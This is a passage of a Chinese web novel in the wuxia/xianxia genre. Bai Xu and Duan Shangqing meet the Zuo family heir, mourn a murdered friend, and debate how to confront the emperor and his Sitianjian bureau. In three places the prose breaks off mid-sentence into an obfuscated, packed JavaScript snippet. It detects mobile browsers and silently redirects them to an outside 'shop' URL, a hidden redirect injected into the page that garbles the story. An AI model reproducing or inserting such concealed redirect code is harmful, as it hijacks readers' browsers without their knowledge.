白栩一夜未睡,段尚清靠在亭柱上睡得正沉,额侧滑下来的碎发随着清风微微荡漾。 他解下外衫披在段尚清身上,拎着冷掉的茶壶去膳房重新煮。 红日只悬了片刻就被薄云遮盖,霞光褪去,天际恢复了往日的白茫与平静。 回来时,段尚清已经醒来,正在活动僵硬的筋骨。 “喝些热茶吧,早膳还要等些时辰。” 白栩递给他一杯煮好的清茶,这壶茶里只放了薄荷和桔皮做佐料,少了红枣的温润,多了几分清冽和荡气回肠。 煮茶亦可看出茶客的心境,段尚清品着与往日大不相同的茶香,冥冥中感觉自己与白栩的心绪有了片刻的交融。 两人正安静品茶,院外突然传来一声悠扬的嘶鸣,仿若晨钟震响,顷刻间将沉睡的佐府上下敲醒。 仆从们小跑着向院门聚集,嚷嚷的人声穿过花园传到两人耳中。 “这是怎么了?”白栩抻脖向前看,段尚清也好奇,起身拉住他,“好像有人来了,我们去看看?” “走。” 两人加入大部队,一路来到府门前。 视线跃过一众黑黢黢的头顶,只见大门外立着一匹棕鬃高头大马,马背上跨坐着一人,身形高大,气宇轩昂,丰神俊朗。 纵然眉宇间带着日夜兼程的疲惫,不过风尘难掩其喜色,他高呼一声:“我回来了!”翻身下马,顺着仆从让出来的路,疾步走向正堂。 他步履太快,晃动的人群只剩下次乌泱泱的残影。 好像在一片粗布麻衣里撇过一抹绸缎的光泽。 他反应过来,猛地回头,锐利的目光直射向淹没在人群中的段尚清和白栩。 “他怎么回头了?他是不是在看咱俩?” “不只看,他已经走过来了。” “我看他长得有点像佐长老,他不会是佐家大公子吧?” 两个脑袋瓜凑在一起说悄悄话,没注意那人已走到身前。 他站定抱拳,恭敬又豪气:“两位,初次见面,在下佐恭亭,幸会!” 白栩立刻作揖回礼:“在下白栩,这位是段尚清。” “居然是你!你就是我爹口中的白家小神童?”佐恭亭的眼睛“噌”一下亮了起来,一步凑到白栩身前,左瞧瞧右看看,好似在端详一件稀奇玩意。 白栩一时间不知道怎么反应,勾起个僵硬的笑,向后退了一步,“谬赞,谬赞。” 佐恭亭自知冒犯,收了神采,冲他歉意一笑,继而转向一旁静立着的段尚清,“段家兄弟,久仰大名!” 段尚清得体一笑,“佐家公子,幸会。” “两位是我娘请来的客人吧,快别站在门口了,随我进正堂,这个时辰府中应该备好了早膳,我一路骑回来,一口干粮没吃,饿得前胸贴后背!”他说着,很夸张地拍了拍自己的肚子。 白栩很欣赏佐恭亭身上的豪气,这是在江南人身上难以寻见的,在马背上驰骋出来的飒爽。 佐恭亭虽生在衡阳,却长于西北,性子随了佐伯伯,长相随了萧夫人,生得一副潇洒落拓的非凡英姿,高逾九尺,挺拔如松,立在那,不怒自威。 佐家人到底是吃什么长大的,怎么都这么高? 《山海经》里的巨人国其实是衡阳佐家吧…… 白栩暗自腹诽,都怪老爹不像佐伯伯那么高,不然自己还能往上窜一窜。 三人有说有笑地往屋内走,膳堂里已架好桌子,各种令人食指大动的珍馐菜肴摆满桌面,其中米面居多,配以各式肉馅蒸点,目不暇接。 白栩从未在早膳看到过这副架势,以往他只需一碗清粥,一碟咸齑。 他看看佐恭亭那大块头,又看了看自己明显逊色的身材,了然于心。 他们习武之人,多吃一些是应该的。 白珏和姚靖循着香味来到了膳堂,佐恭亭一见白珏,“唰”一下站起身,激动地向前走了两步,挺翘的鼻尖几乎要怼到白珏脸上,“步月女侠!久仰大名!” 这回是真的久仰了,白珏的名声在江湖中的确传得很远。 白珏历世甚久,处理起这些人情世故来显然更加老练,她微微退步,拱手回敬道:“原来是佐大侠!听闻你最近去西北收服几个叛乱的小门派,进展如何?” 佐恭亭爽朗一笑,“承蒙挂念,已然办妥。” “西北苦寒之地,佐兄此行甚是辛苦。” “辛苦谈不上,倒是吃了几口黄沙。” 白栩看着两人一来一回、一递一声,谈得十分融洽,简直下巴要砸在桌上。 这还是他那个三句话说不过就动手的姐姐么? 果然她白步月就是个窝里横的! “恭亭!” 萧夫人站在堂前,冲着屋内中气十足地喊了一声,佐恭亭欣喜万分,连忙迎上前去,单膝跪在娘亲脚边,恭敬道:“禀告萧长老!西北叛乱稍有平复,走火入魔者已就地正法。” “好,好,快吃饭。”萧语竹拍拍儿子厚实的肩,眼里满是欣慰。 佐恭亭喝下一大口凉茶润润嗓子,招呼道:“大家快吃饭吧!” 别人饿不饿他不知道,自己一路风雨兼程赶回来,真的要饿扁了。 他急着回来,一来是汇报近日功绩,二来是见见传闻中的步月女侠。 他和白珏只在小时候见过几面,那时候白栩和段尚清还没有出生,上三家只有他和白珏两个孩子。 白珏天不怕地不怕,胆子大得很,带着他上树掏鸟蛋、下水摸河鱼,简直“无恶不作”。 每次闯了祸,她也不推卸,拉着他一起去认错。 他一开始很佩服白珏的勇敢,后来才知道,不是一个爹,闯祸的后果一点也不一样。 自家老爹揍起亲儿子来一点也不手软,“啪啪啪”打得他屁股震天响。 白伯伯那个护犊子的就在一旁哄白珏,捂住她的眼睛不让她看自己挨揍。 后来白栩出生,他去参加满月宴,白珏和他说她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365483|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去闯天下,想离开白家去江湖看看。 时至今日,佐恭亭还记得那时白珏眼中闪过的烁然流光。 “等我长大了,我陪你一起。”他抓着白珏的手,庄严立誓。 自那以后他日日勤加修炼、打熬筋骨,就为了成为顶天立地的男子汉,去追那个翱翔天际、无拘无束的翩翩鸿影。 多年后重逢,白珏果如他所想,越发英姿飒爽。 不过她身边却多了个叽叽喳喳的小家伙。 姚靖把从宁世赑那里买的簪子送给了白珏,白珏没多想,只当他好心好意,也给他个玉坠当做交换。 一个在头上晃,一个在腰间晃,佐恭亭看在眼里,很是扎眼。 饭桌上,佐恭亭和小姚靖一打眼就知道对方都对白珏有意思,所谓情敌见面分外眼红,两人挤着坐在一起,皮笑肉不笑地疯狂给情敌夹菜,妄图撑死情敌自己上位。 处于风暴中心的白珏无知无觉,只给白栩多夹了些菜:“多吃!” 她一声令下,一桌上有三个人立马听话吃饭。 段尚清看着这似曾相识的场景,实在哭笑不得,起身给白栩盛了碗汤,轻声道:“别噎着了。” 白栩喝了一口,山药排骨炖的清汤,很是香醇,“好好喝。” 萧夫人也是个神经大条的,没注意到饭桌上的暗流涌动,朗声介绍起山药汤的做法来。 好混乱的一顿饭…… 席散茶温,白珏召集众人,将调查到的有关纸人术的消息如实相告。 这纸人邪法并非出自中原,其源流主要在西北边陲,那地界旁门左道比比皆是,多数被司天监收拢,为其卖命,且此术不是孤门独传之法,而是西北各派的通用法门,习者甚众,一时半会儿也查不出在江州假扮白栩的纸人术是谁施展的。 若说其他,什么抬棺上山、山魈野兽,不过是凭空捏造,一看便知是假,唯独那夜袭击段尚清的“白栩”,造法高超、掩人耳目,实在危险。 若不找出来,谁还能保证身边人是活人还是纸人? 被阴了都不知道,万一窝里斗了,岂不是让坏人坐山观虎斗了? 可恶!得赶紧找出来。 “又是司天监!”佐恭亭一拍桌子,亦是痛恨极了,他在西北绞杀邪派,没少受司天监掣肘。 “那虞子煊带着他爹的长生术走南闯北四处说教游说,所经之处,人人癫若疯犬妄想成仙,割肉削骨、食心挖肺,更有甚者竟杀尽家中老少,谓之了却尘缘一步升天——区区邪术,竟蛊惑百姓至此,简直可恨至极!” 白栩闻之一阵心惊,比起西北乱象,长生教在玉县弄出的那些人命案简直算是“仁慈”。 他攥紧拳头,火气蹭蹭上涨,“虞惑到底想做什么?他恨我家,那只报复我家就够了,残害天下百姓做什么?他到底想要什么?” “他针对的不只是白家,他要向整个江湖寻仇。” 佐恭亭低沉的声音幽幽传来:“江南玄门根深蒂固,司天监知道一时半会铲除不掉,为了扩大势力,自西北向东南一路暴力征伐,凡是不服从的,当场剿灭,剩下的就算再不甘心,但为了活命,也只能俯首称臣。” “虞家要想称霸玄门,必然要铲除我们三家,我本已做好防御之策,毕竟衡阳离临安最近,我以为他会对我家先发制人,没想到把主意打上了白家。” 30. 追根溯源 西北地界的桩桩惨案至今记忆犹新,佐恭亭每每回想起来无不痛心疾首,他生就侠肝义胆气性大,如遇不平事必要仗义执言,一想到今之祸乱皆出自一人之手,简直怒不可遏,破口大骂道: “虞惑那条疯狗如今逮谁咬谁,天下都被他咬出个血窟窿了还不知收敛!司天监里一群为虎作伥的蠢货孽畜,横行霸道、暴戾恣睢、草菅人命,简直不把人当人看!我看皇帝老儿也是个昏了头的,养那么个狗东西在身边,真不怕哪天被咬得血肉模糊!” 他越骂火气越大,桌子拍得啪啪响,白栩真怕他把屋里那张楠木桌给拍碎了。 说起来他们佐家人果然一脉相承的嘴毒,佐伯伯骂人也是这么豪横,这么词锋犀利,听他们骂人简直身心舒畅、荡气回肠,怎一个解气了得。 见他如此义愤填膺,满屋人的怒火尽数被点燃,白栩受他感染,只觉一股热血直冲头顶,恨不得立时提剑冲出,直取虞惑首级,其他人亦摩拳擦掌、跃跃欲试,恨不得马上冲杀。 唯独段尚清一人深思熟虑道:“皇帝对司天监和虞惑到底是什么态度?信任还是猜忌?” 一句话,如冷水浇下,瞬间熄灭躁火,大脑一瞬清凌,终于能理智思考。 佐恭亭叹了口气,摇头道:“实在揣摩不出。外界皆传虞惑手握重权、势倾朝野,若他真有这般滔天势力,为何不直接动用十万禁军与玄门百家开战,反而要绕道西北,蚕食旁门左道,只将争端止江湖?” 众人噤声,亦是猜不透,各般猜测暗藏于心,越细想越心惊。 白栩道:“如此说来,皇帝并非如外界传言那般纵容虞惑,那司天监这些人命官司,都是他们背着皇帝搞出来的?这般欺上瞒下、暗度陈仓,不怕皇上发威么?到底是哪来的底气敢这么肆无忌惮?” 虽是问话,但其实他心里已隐隐有了答案——若一切都是皇帝默许,便都说得通了。 可他不愿意相信,也不敢相信,十三岁那年的记忆仍历历在目,他实在没法把那个爱民如子、风华正茂的皇帝和众人口中这个阴狠毒辣的人联系在一起。 他十三岁那年,西北戎狄叛乱,侵扰边陲,危害边关百姓,皇帝御驾亲征,平乱安民,凯旋之日恰逢圣寿,双喜临门,于是大宴天下,共庆太平。 白栩随母亲入宫庆贺,原本只在席间随手写了几首贺诗,不料竟得皇帝青睐,博得龙颜大悦,由此,他“江州才子”之名传扬开来。 其实他并非传言中那般天降奇才,也没有世人夸大其词的神异天赋,那几首诗甚至不乏借鉴前人之处,可皇帝依然厚赏于他,更因他年纪尚小,特赐座御前,共赏乐宴。 那时他便觉得,当今皇帝是位心忧天下,与民同乐的明君。 西北可是他亲手平定的疆土,真的能眼睁睁地看着祸乱再起而无动于衷么? 明明曾是马上天子,守成贤君,短短几年,真能变得如此心狠手辣? 还是说,他本就是这种人? 白栩心里有些难受,一种遭人背叛的惊诧与愤怒一齐涌上心头,邪火只烧了一瞬又速速灭掉,自己又是什么身份,能埋怨当今天子? 他喉头发紧,没理也要力争:“陛下早年治国有方,政绩斐然,我不信他能容忍虞惑这等宵小之徒祸乱朝纲。” 段尚清见他愁容愈深,知他难以接受,抬手轻轻抚上他紧蹙的眉头,柔声宽慰:“人是会变的。自古以来,哪个皇帝求到了长生?翻开史书尽是前车之鉴,他却执迷不悟、一意孤行,若真的贤明,司天监便不该存在。江湖与庙堂百年来井河不犯,唯独他忌惮、猜疑,要靠司天监来威慑,好彰显他并非受制于玄门。” 他稍稍凑近,语气更缓:“阿栩,别把他想得太好了。” 白珏点头附和:“段公子说得在理,皇帝才年过半百便这般苦心孤诣、大张旗鼓地求长生,说不定这只是个冠冕堂皇的幌子,借此掩饰他从江湖招兵买马来对付玄门的目的罢了!” 白栩闻言一怔,只觉得一股寒意窜上脊背。 段尚清没有收回手,反而轻轻按了按他的肩膀,像是要按住他微微发颤的念头,不让他胡思乱想。 可白栩的心已经乱了。 他本以为,这一连串措手不及的变故,只是虞惑针对白家的私怨,不过是一家之痛。 可是若只是如此,玉县和西北的惨案不能解释,于是他们剥茧抽丝,拔出了从中作梗的司天监和长生教,这才发觉对立的范围早已越过一家之门,扩大至司天监与整个玄门。 直到这一步,仍属于江湖内斗。 没想到追根溯源,竟是庙堂与江湖的争锋。 近些年,玄门各族兴盛,修道之人日增,若天下人皆去求仙问道,田地谁耕?边疆谁守?天子有与没有又有什么不同? 皇帝受先帝之约所限,不能明面干涉江湖势力的扩张,或许他别无他法,只能剑走偏锋,设立司天监,借以其暴力手段镇压玄门教派的兴起。 可司天监这柄利剑太过锋利,一出鞘便削去玄门半条臂膀,阵痛激发出的尖锐矛盾从本质上就无法调和、无从缓解。 两股势力互不相让,双方都在无意之间将对方逼上了绝路。 白栩心蓦地一沉,身体微有些发抖。 他喃喃低语:“怪不得虞惑敢在临安散布谣言,敢公然挑衅江南玄门,原来是皇帝在背后授意……他就这般容不下我们,非要赶尽杀绝不可么?” 段尚清捏捏他的后颈,轻声接话:“别怕,若他真敢派禁军南下围城,敢动白家,我和我爹,还有姚靖,死也会护住你们。” “还有佐家!我们三家同气连枝,不会让你们孤军奋战!”佐恭亭拍拍胸膛,豪气万丈。 “没错,阿栩哥哥不必忧心,我们这么多人,个个武术高强,还怕他们赤手空拳的不成?”姚靖比试几下,试图展示小细胳膊上的肌肉,结果被佐恭亭发达的肱二头肌圈住脖子动弹不得,只能踢腿瞪眼毫无尊严地被情敌玩弄于鼓掌…… 经大家一劝,白栩终于从恐慌的深渊里爬出来,他深吸一口气,定了定心神才道:“不过我想不通,他要抹黑我家,为什么偏偏用尸鬼?这个怪物从未在江州出现过,明明编造些其他魑魅魍魉都比这个有可信度。” 毕竟江州地界一向流有传说,早年间绛鹊山鬼门大开,无数精怪从地狱里爬出来祸乱人间,一代一代人口耳相传,信者不在少数,几乎成了此地一段阴郁的集体记忆。 然而尸鬼明显是人为炼制的邪物,要想炼尸鬼尸鬼,得先有尸体。 江州历来民生安稳,从未有过不明不白的人口失踪,即便偶有疑案,官府也总能迅速侦破,水落石出。 白家既无炼尸之材,更无操弄邪术之能,如何能造得出这等怪物? 他空口白牙地诬陷,不说江南玄门不会信,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365484|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连易被混淆视听的百姓都坚信白氏无辜,这谣言简直毫无道理、毫无效用,逼得虞子煊只能亲自出场,用禁军施压把他们逼走。 白珏冷哼一声,压着怒火,把桌子拍得噼啪响:“长生教犯下累累命案,若只是毁尸灭迹,反倒浪费,不如将尸体炼作尸鬼,再暗中运往绛鹊山,既能试其邪法,又可嫁祸白家,一石二鸟,当真歹毒。” 佐恭亭气她所气,也跟着拍桌泄愤,姚靖一看他俩拍,自觉也应该表态,“啪啪啪”学得起劲。 于是屋子里响起一阵擂鼓震天般的轰鸣,小小楠木桌承受了生命不应有之痛,摇摇欲断,眼看着就要摧眉折腰举手投降…… 段尚清为了拯救它连忙移开话题:“前几日,爹给我传了话,我们离开若寒城当日,虞子煊派禁军挖出了所有尸鬼,本是当街烧毁,但有一人不信,非要凑近查看,尸鬼暴起,将那人生吞活剥,死相凄惨。百姓亲眼所见,四散而逃,此事怕已传遍江州。” 白栩莫名有一种不好的预感,他认识的人里,就有一个这么不信邪。 “死的那人可有说是谁?” “姓马,名卓涟。” 白栩心头猛地一沉。 果然是马学究! 虽然早有些许预感,可当真确认时,仍如惊雷轰顶,难以接受。 他与马学究幼年相识,虽然自己一向不喜欢马卓涟那个爱自说自话、杞人忧天的性子,可这个人比起那些冲着他的才子名号故意接近,只会逢场作戏的酒肉朋友们更值得交心。 他怎么就这么死了…… 心脏一阵剧烈抽痛,白栩忽觉一阵天旋地转,几乎站不住,踉跄着伸手想扶住身旁的小桌,不料那楠木桌早已支撑不住,“哗啦”一声碎裂四散。 他猝不及防向下摔去,段尚清迅疾出手,一把将他揽入怀中。 “我先带他回去。” 段尚清半扶半抱地把白栩带出屋外,门一合上,便径直将人打横抱起,快步走向自己房间。 他轻声问:“死的那个人,你认识?” 白栩泪在眼圈,一眨就往外冒:“那个人你也见过,尸鬼杀人那夜,就是他来敲得门。” 段尚清闻言也是一怔,“居然是他……” “我们两个八岁就认识了,那时他又黑又瘦,活像只小黑猴,我总笑他,他也不生气,每天跟着我上山打鸟、下河摸鱼,每次闯祸了,他挨打,我挨骂,疼过哭过还是不改,依旧和我胡闹。” 白栩说着竟笑了一下,可眼泪却流得更凶:“虽然他总爱道听途说些乱七八糟的传言,还总是讨人厌地讲大道理,可认识这么多年了,我都习惯了,他那‘学究’的绰号都是我起的……怎么就这样死了?” 段尚清俯身,轻轻吻他的唇:“好阿栩,不哭了。” 白栩攥紧他的衣襟,将泪眼埋入其中,许久才渐渐平复。 回了房中,段尚清把人安放在自己腿上,扣着他的脑袋,让人靠着自己肩头。 虽然白栩为了别人哭得这么伤心让他有一点小吃醋,但人死为大,他能如此哀悼故友,正说明他重情重义。 若不哭,反倒不像他的阿栩了。 段尚清深吸一口气,仰身躺下,让白栩整个人伏在自己胸膛上:“哭吧,哭够了,我们就一起想办法扳倒司天监。” 他声音低沉,却字字清晰:“一定要让虞子煊为你的故友陪葬。” 31. 趁火打劫 昨夜的集思广益,牵出了一个个藏于暗线的阴谋。 但纸上谈兵终究不若实地处之,再具有信服力的观点,多少都与主观臆测有所牵连。 何况皇室与江湖的百年暗斗若是被他们这群初出茅庐、涉世未深的小辈轻易聊聊便给参了个透,怕是要贻笑大方。 不过这些推测不可尽信,也不可不信,至少当今圣上看不得江湖势力扩张,预备出手反制,是板上钉钉之事实,司天监究竟是寻长生的利器,还是掣肘江湖玄门势力的杀招,还有待商榷。 故而翌日一早,白珏便用“千里传音术”给远在临安的爹娘传了封信,信上一五一十地陈列数条观点,只需爹娘在临安多做探查,便能能探知一二,掌握动向。 白栩昨夜哭的太狠,一早起来,两只眼睛肿成了桃,眼皮上的褶又深又宽,衬得眼睛又肿又小,夸张又滑稽。 他没照铜镜,眨眨眼,滞涩肿胀,十分难受,自觉应是惨不忍睹。 段尚清见如此,忍着笑出门为他寻了条冷水浸透的帕子,敷在眼上,以求早膳前能出门见人。 不出一炷香,白栩的眼睛便恢复如常,不知是不是一汪泪泉洗涤了数日的阴霾,这双桃花眸子格外晶亮清澈。 段尚清凝望片刻,心中悸动,俯身吻上。 微微泛着红的薄唇狭呢地蹭在薄薄的透着青紫血丝的眼皮上,轻柔地捻磨,撒娇依恋间隐秘地宣誓着占有。 白栩被他撩拨得痒,想别过头,又被段尚清桎梏住脑袋,只得由着他认认真真、细细密密地吻完每一处渴求,才能起身换衣裳。 初次见面之时,白栩从不知段尚清是这般磨人的性子,明明在外人面前沉毅渊重、遇事可靠,到自己这处,偏爱缠绵悱恻、耳鬓厮磨,一有时机便蹭来捉过唇来吻上几下,再不济也要抱一抱,不然不足以解渴,这般如胶似漆的柔情蜜意,也只有自己的见着了。 白栩最是喜欢这般被依赖的感觉。 从小到大,他被娘和姐姐看护惯了,江湖上的波谲云诡,他一概不知;朝堂上的势力更迭,他无所听闻。说好听,这叫不闻天下事,只醉桃林间,一派隐士作风,说难听了,那就是孤陋寡闻,若蝉不知雪,愚蒙等诮。 作为家里的最小,他从没资格参与任何抉择,只被一句“为了你好”屏蔽在外,以至于真当异变突发,预备不及时,他只能如一只无头苍蝇,四处乱撞。 他常觉不安,尽管如今如愿以偿地置身事内,仍对耳不聪目不明有所恐惧,他恋家,家人却各奔东西,他想除掉司天监,可皇势滔天,岂是说扳便能倒? 一种想抓抓不到,想闯闯不动,心有余力却总是无能为力的无助兜头笼罩,常以心头阴霾之态将他裹在其内挣扎不开,他不愿矫情地诉说,可这些惆怅滞留体内无处发泄,日日夜夜如刀剐着他,直至鲜血淋漓才停手。 段尚清总能看穿他的不安与忧愁,每每那双琥珀色的瑞凤眸凝望过来时,便已想好如何春风化雨,四两拨千斤地让他一展阴霾,愁云尽退。 白栩不知这是段尚清独有的法术还是自己对他的偏爱,同样安慰的话,出自别人之口,效用远不及段尚清来讲。 许是段尚清不但说,还要附以亲亲、抱抱、无尽哄人情话,有这样一场甘霖浇灌下来,再干涸的心田,也能春意盎然。 正如此时,段尚清的吻自眼皮向下,轻柔地捉住他的唇瓣捻磨着,勾住舌尖缠绵不放,唇齿间尽是冷茶的余香,带着些橘皮的清苦。 “哭了一场,桃花结果变小桃儿了。” 段尚清仍是调侃他眼睛方才的窘况,白栩随着他笑,起身把人压在榻上,居高临下地威胁:“此事天知地知,你知我知,不许说出去,听见没?” 段尚清面上装傻充愣,手却精明无比地扣上了白栩的腰:“说出去什么?是锦爻哥哥的眼睛肿成针眼小,还是衡阳第一对双生红桃儿竟来自江州若寒城?” 白栩知他逗乐,故装腔拿调地接着演下去:“你知道我在说什么,敢泄露此等天机,小心我将你捉走惩罚。” 段尚清眯起眼,上挑的眼尾衬得他宛若一只笑面狐,若隐若现的瞳孔中乍泄春光般露着狡黠的兴致:“阿栩哥哥要如何惩罚我?” 他掐着白栩的腰窝直起身,与人胸膛挨胸膛,鼻尖蹭鼻尖,呼吸交融:“是这样的惩罚?” 他用唇珠轻轻蹭过白栩的侧颊,缓缓向下,徘徊于颈侧,张口便咬。 白栩吃痛,“嘶”了一声,却未阻止,只心脏扑通乱跳,呼吸略显急促。 咬过人,段尚清还不知足,张口含住白栩的唇瓣,轻轻咬动,故意又问:“还是这样?” 而后长驱直入,直逼得人面色通红,方寸大乱。 白栩被他磨得按耐不住,双手捧住段尚清的脸颊,使劲揉了揉:“好了,不许闹我了。” 段尚清立刻摆出委屈的神色来,像还没吃饱:“是你先撩的我。” “我错了。”白栩低低笑了一声,主动亲亲那只撅起来的薄唇,“你也撒娇够了,我们吃早膳去?” “嗯。”段尚清直起身,拉着白栩往膳堂走。 白栩跟在他身后,无声失笑,方才段尚清故意来闹,不过是怕他再想起马学究的伤心事。 还真是什么锅配什么盖,要想把自己安慰好,就得有人像段尚清那般撒娇磨人耍无赖,把他的思绪引走才行。 想到此处,他心头一暖,想起罗淮河花灯夜,他自桥上往下张望,那清冷飘逸仿若将要融于凉夜河水的身影,牢牢地印在了他的心头,往后面每每回忆起,便觉心跳悸动难以自持,同时又升腾起隐秘的得逞之感,他得偿所愿地将天上的小神仙拉下了凡,来做情郎。 膳堂里众人都在,仍是满桌面食,佐恭亭同白珏挨在一起,姚靖挤在另一边,白珏夹在一大一小之内,仍未察觉两人之间的夹枪带炮,自顾自吃着包子,觉得肉馅太香,沾了点醋。 段尚清揶揄地看了姚靖一眼,姚靖红了脸,叫了声:“师兄。” 段尚清应了声:“你手在后面做什么?” 白栩这才发现,姚靖同佐恭亭一样,一只手背到身后去,姚靖甚至还是左手拿筷子。 姚靖干笑两声,收了同佐恭亭暗自较劲的手,抽走前还不忘趁机打人家一下。 佐恭亭怒目向姚靖比眼刀,正被白珏对上,立马转为陪笑,给白珏添了碗粥。 白珏没看出门道,只觉得莫名其妙,端起粥喝了一口,丝毫没注意身边两人的交锋,反而盯着白栩因看戏半天没动的碗碟,训了句:“专心吃饭。” 白栩“哦”了声,听话地低头舀粥,原本还在闹的两个幼稚鬼一下子也听话了,立马专注吃食再也不互相伤害。 段尚清只觉这一幕似曾相识。 古有长孙晟一箭双雕,今有白珏一命三从。 同大家住在一处,总是热闹不断。 膳后,白栩同段尚清打算出门逛逛,许久不来衡阳,不知是物是人非还是人是物非。 出了门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365485|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正碰上来找的花千续。 花道长满身琳琅法器,面色稍有灰尘,行色匆匆,见着他二人,立马快步上前,一手扯一个,拉到人少的巷子里,悄声道:“小道消息,契丹南侵国土,边戍战士死守紫荆关,因着补给吃紧,战线难以北推,打得惨烈,死伤甚重,北派修士却见死不救,纷纷南撤,皇帝震怒。” 白栩一愣,北境开打了? 犹记得许多年前皇帝御驾亲征,狠狠收拾了狄人一通,如今契丹竟能重振旗鼓再度杀来。 花千续接着道:“据说新继位的可汗狼子野心,杀心深重,他爹碍于中原王朝实力雄厚不敢轻举妄动,到了他,一日不能再等,非要杀过来,今日便开了战。” 白栩心头焦灼,更多是不解,他不明白为何北派修士不肯相助,以往边境打仗,离得近的修士或多或少都会参战助威,就算在后方装腔作势地作法,也能稳固军心,如今却大批南下,抛紫荆关于不顾究竟是为何? “修士为何见死不救?”白栩问道。 花千续叹息道:“若是以前,北派修士最不会这般无情无义,都怪司天监在西北征伐教派太过火,在北派看来,无疑是朝廷与江湖宣战,他们甚至放言,就是契丹人打到临安城脚下,他们都不会施以援手,城破与不破,与他们无关。” 白栩语塞,一时分不出孰对孰错。 双方都有理,位高者尚能置气,可受苦的战士与百姓该当如何? 一口气堵在心头上不去下不来,他忧心忡忡地问:“若是江南玄门派人助阵,能否守牢紫荆关?” 花千续失笑,像是笑白栩的天真:“你可别忘了,司天监在临安大肆通缉白家,虞子煊还在若寒城威胁段佐二长老,江南玄门三大顶梁柱全给他得罪了个透,此时集众,定不会有人愿意北上。” “再说……”花千续眼里闪过精光,“老皇帝对玄门大打出手,本是看中契丹不会妄动才敢重拳出击,如今北境开战,我们何不以此威胁,让他撤了司天监,把虞惑交出来?” 白栩觉得此法太过冒险:“可行么?” 花千续扬起眉毛:“试试不就知道?你书信一封给你爹娘,让他们斟酌着试试看,若能劝动,大家都好,若老皇帝执迷不悟,那就拿北境的人命给他吃一堑。” 白栩皱起眉,后退一步,看向花千续的神色有些犹豫:“你怎么如此拿人命不当事?” 花千续却笑得更加放肆,逼近一步:“你可是能亲自上阵带兵打仗,还是能运筹帷幄决胜千里?若都不能,便不必杞人忧天,此事非你与我孰对孰错,若能劝动老皇帝,让他松松咬住玄门的獠牙,自有修士愿意替他们固守疆土,你操心的民众将士才能真正地死得少,若他仍是大举镰刀霍霍向玄门修士,那么他于我们,同契丹于他无异,他的臣民于玄门来说,非血亲尽可抛之不顾。” 白栩闻言心中震颤,他知花千续不比寻常人,没想到他这般手段狠辣,雷厉风行。 他仰头看着花千续的眼睛,黑白分明,宛若出鞘利刃架在他脖颈,让他一动不敢动,仿若被吸魂摄魄。 段尚清及时伸手把白栩拉到怀里,隔开花千续的威慑:“花道长说得在理,不过趁人之危总不是义举,道长若赏脸,我们可以共同商量其他缓和态势的法子。” 花千续抬手一人一个爆栗:“两个正人君子,不食人间烟火,火不烧着你们屁股就不知道烫。罢了,此事与你俩说不通,小白栩,把你姐姐叫出来,我同她讲,你姐姐总归比你深明大义。” 32. 都答应你 白珏未曾见过花千续,对这个莫名而来的道士很是怀疑,态度不善。 白栩虽不怎么赞同花道长的铁血手腕,念在是故交,还是对白珏往好了介绍他。 花千续与白栩爹娘相熟,给白栩祛过邪,又师承白家老太爷白青山,有这几层关系占着,由不得白珏怀疑,当即表现出信任,请人到府内长谈。 段尚清拉着白栩跟进去,作为保守派的代表,悉听激进党的发言。 佐恭亭同萧夫人一道前来,他们都是风里来雨里去的性情中人,一听花千续如何反制朝廷的手段,纷纷点首称是,深以为然,颇有摩拳擦掌,欲报大仇之态。 不过此法难就难在派谁进宫商谈——甚至于是威胁。 只身入,恐怕不易出。 萧夫人道:“兰萱不是有表兄在朝为官?莫不让他去说?” 段尚清摇头:“战事吃紧,若让玄门之人去商谈,恐适得其反。” 白珏皱起眉:“那你觉得谁当得此任?” 段尚清不急着作答,先看向佐恭亭:“佐兄以为谁当得此任?” 佐恭亭对朝廷之事不甚了解,其性子也不是百转千回,直言直语道:“不若我进宫去?” 白栩忙给他劝下:“佐兄,万不可鲁莽啊!” 佐恭亭又道:“不若让北境修士去谈?” 这下是花千续道不可了:“北境修士素来以性情刚烈闻名,何况西北惨况仍历历在目,他们不可能与朝廷缓和,要支援,还得从江南玄门调人。” 商量了这么半天没个结论,白珏心里着急,爹娘在临安虎穴愈日久,危险愈甚,何况北境战起,江湖与朝廷越发不和,她等不了那么久,也不敢再等,只期望赶紧商讨个对策出来,立马行事。 她把手往桌上一拍:“那你们说,谁能去?不然就我去!” 白栩忙叫了声:“姐!” 白珏看向弟弟,见他眸中的担忧之色掺杂着恐惧与不舍,原本怒烧的心火稀稀拉拉地灭了个干净,叹了口气道:“对不住……” 众人纷纷宽慰。 段尚清沉思半晌,问道:“萧夫人,您对莫家在朝为官之人了解多少?如今朝廷局势如何?” 